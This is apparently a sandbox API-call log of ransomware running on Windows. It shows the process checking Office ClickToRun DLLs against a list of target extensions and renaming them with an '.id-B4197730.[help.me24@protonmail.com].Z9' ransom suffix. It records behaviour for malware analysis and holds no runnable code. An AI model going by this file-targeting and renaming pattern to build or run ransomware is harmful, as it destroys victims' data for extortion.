	[0188.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1
	[0188.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.899] lstrlenW (lpString=".doc") returned 4
	[0188.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.899] lstrlenW (lpString=".docx") returned 5
	[0188.899] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0188.899] lstrlenW (lpString=".pdf") returned 4
	[0188.899] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.899] lstrlenW (lpString=".xls") returned 4
	[0188.899] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.899] lstrlenW (lpString=".xlsx") returned 5
	[0188.899] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0188.899] lstrlenW (lpString=".ppt") returned 4
	[0188.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.899] lstrlenW (lpString=".zip") returned 4
	[0188.899] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.899] lstrlenW (lpString=".rar") returned 4
	[0188.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.900] lstrlenW (lpString=".bz2") returned 4
	[0188.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.900] lstrlenW (lpString=".7z") returned 3
	[0188.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.900] lstrlenW (lpString=".dbf") returned 4
	[0188.900] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.900] lstrlenW (lpString=".1cd") returned 4
	[0188.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.900] lstrlenW (lpString=".jpg") returned 4
	[0188.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.900] lstrlenW (lpString=".doc") returned 4
	[0188.900] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.900] lstrlenW (lpString=".docx") returned 5
	[0188.900] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0188.900] lstrlenW (lpString=".pdf") returned 4
	[0188.900] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.900] lstrlenW (lpString=".xls") returned 4
	[0188.900] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.900] lstrlenW (lpString=".xlsx") returned 5
	[0188.900] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0188.900] lstrlenW (lpString=".ppt") returned 4
	[0188.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.900] lstrlenW (lpString=".zip") returned 4
	[0188.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.900] lstrlenW (lpString=".rar") returned 4
	[0188.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.900] lstrlenW (lpString=".bz2") returned 4
	[0188.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.900] lstrlenW (lpString=".7z") returned 3
	[0188.901] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.901] lstrlenW (lpString=".dbf") returned 4
	[0188.901] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.901] lstrlenW (lpString=".1cd") returned 4
	[0188.901] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0188.901] lstrlenW (lpString=".jpg") returned 4
	[0188.901] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.901] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0188.901] lstrlenW (lpString="AppVIsvApi.dll") returned 14
	[0188.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0188.901] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=468696) returned 1
	[0188.901] CloseHandle (hObject=0x368) returned 1
	[0188.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20
	[0188.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.902] lstrlenW (lpString=".doc") returned 4
	[0188.902] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.902] lstrlenW (lpString=".docx") returned 5
	[0188.902] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0188.902] lstrlenW (lpString=".pdf") returned 4
	[0188.902] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.902] lstrlenW (lpString=".xls") returned 4
	[0188.902] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.902] lstrlenW (lpString=".xlsx") returned 5
	[0188.902] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0188.902] lstrlenW (lpString=".ppt") returned 4
	[0188.902] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.902] lstrlenW (lpString=".zip") returned 4
	[0188.902] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.902] lstrlenW (lpString=".rar") returned 4
	[0188.902] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.902] lstrlenW (lpString=".bz2") returned 4
	[0188.902] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.902] lstrlenW (lpString=".7z") returned 3
	[0188.902] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.902] lstrlenW (lpString=".dbf") returned 4
	[0188.902] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.902] lstrlenW (lpString=".1cd") returned 4
	[0188.902] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.902] lstrlenW (lpString=".jpg") returned 4
	[0188.903] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.903] lstrlenW (lpString=".doc") returned 4
	[0188.903] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.903] lstrlenW (lpString=".docx") returned 5
	[0188.903] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0188.903] lstrlenW (lpString=".pdf") returned 4
	[0188.903] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.903] lstrlenW (lpString=".xls") returned 4
	[0188.903] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.903] lstrlenW (lpString=".xlsx") returned 5
	[0188.903] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0188.903] lstrlenW (lpString=".ppt") returned 4
	[0188.903] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.903] lstrlenW (lpString=".zip") returned 4
	[0188.903] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.903] lstrlenW (lpString=".rar") returned 4
	[0188.903] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.903] lstrlenW (lpString=".bz2") returned 4
	[0188.903] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.903] lstrlenW (lpString=".7z") returned 3
	[0188.903] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.903] lstrlenW (lpString=".dbf") returned 4
	[0188.903] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.903] lstrlenW (lpString=".1cd") returned 4
	[0188.903] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0188.903] lstrlenW (lpString=".jpg") returned 4
	[0188.903] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.904] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0188.904] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27
	[0188.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0188.904] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=210648) returned 1
	[0188.904] CloseHandle (hObject=0x368) returned 1
	[0188.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20
	[0188.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.904] lstrlenW (lpString=".doc") returned 4
	[0188.904] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.904] lstrlenW (lpString=".docx") returned 5
	[0188.904] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0188.904] lstrlenW (lpString=".pdf") returned 4
	[0188.904] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.904] lstrlenW (lpString=".xls") returned 4
	[0188.905] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.905] lstrlenW (lpString=".xlsx") returned 5
	[0188.905] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0188.905] lstrlenW (lpString=".ppt") returned 4
	[0188.905] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.905] lstrlenW (lpString=".zip") returned 4
	[0188.905] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.905] lstrlenW (lpString=".rar") returned 4
	[0188.905] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.905] lstrlenW (lpString=".bz2") returned 4
	[0188.905] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.905] lstrlenW (lpString=".7z") returned 3
	[0188.905] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.905] lstrlenW (lpString=".dbf") returned 4
	[0188.905] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.905] lstrlenW (lpString=".1cd") returned 4
	[0188.905] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.905] lstrlenW (lpString=".jpg") returned 4
	[0188.905] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.905] lstrlenW (lpString=".doc") returned 4
	[0188.905] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.905] lstrlenW (lpString=".docx") returned 5
	[0188.905] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0188.905] lstrlenW (lpString=".pdf") returned 4
	[0188.905] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.905] lstrlenW (lpString=".xls") returned 4
	[0188.905] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.905] lstrlenW (lpString=".xlsx") returned 5
	[0188.905] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0188.906] lstrlenW (lpString=".ppt") returned 4
	[0188.906] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.906] lstrlenW (lpString=".zip") returned 4
	[0188.906] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.906] lstrlenW (lpString=".rar") returned 4
	[0188.906] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.906] lstrlenW (lpString=".bz2") returned 4
	[0188.906] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.906] lstrlenW (lpString=".7z") returned 3
	[0188.906] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.906] lstrlenW (lpString=".dbf") returned 4
	[0188.906] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.906] lstrlenW (lpString=".1cd") returned 4
	[0188.906] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0188.906] lstrlenW (lpString=".jpg") returned 4
	[0188.906] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.906] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0188.906] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30
	[0188.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0188.906] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=1402584) returned 1
	[0188.907] CloseHandle (hObject=0x368) returned 1
	[0188.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20
	[0188.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0188.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0188.907] lstrlenW (lpString=".doc") returned 4
	[0188.907] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.907] lstrlenW (lpString=".docx") returned 5
	[0188.907] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0188.907] lstrlenW (lpString=".pdf") returned 4
	[0188.907] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.907] lstrlenW (lpString=".xls") returned 4
	[0188.907] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.907] lstrlenW (lpString=".xlsx") returned 5
	[0188.907] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0188.907] lstrlenW (lpString=".ppt") returned 4
	[0188.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0188.907] lstrlenW (lpString=".zip") returned 4
	[0188.907] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.907] lstrlenW (lpString=".rar") returned 4
	[0188.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.907] lstrlenW (lpString=".bz2") returned 4
	[0188.907] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.907] lstrlenW (lpString=".7z") returned 3
	[0188.907] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0188.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0188.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0188.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1
	[0188.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0188.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0188.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1
	[0188.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0188.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0188.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1
	[0188.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0188.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
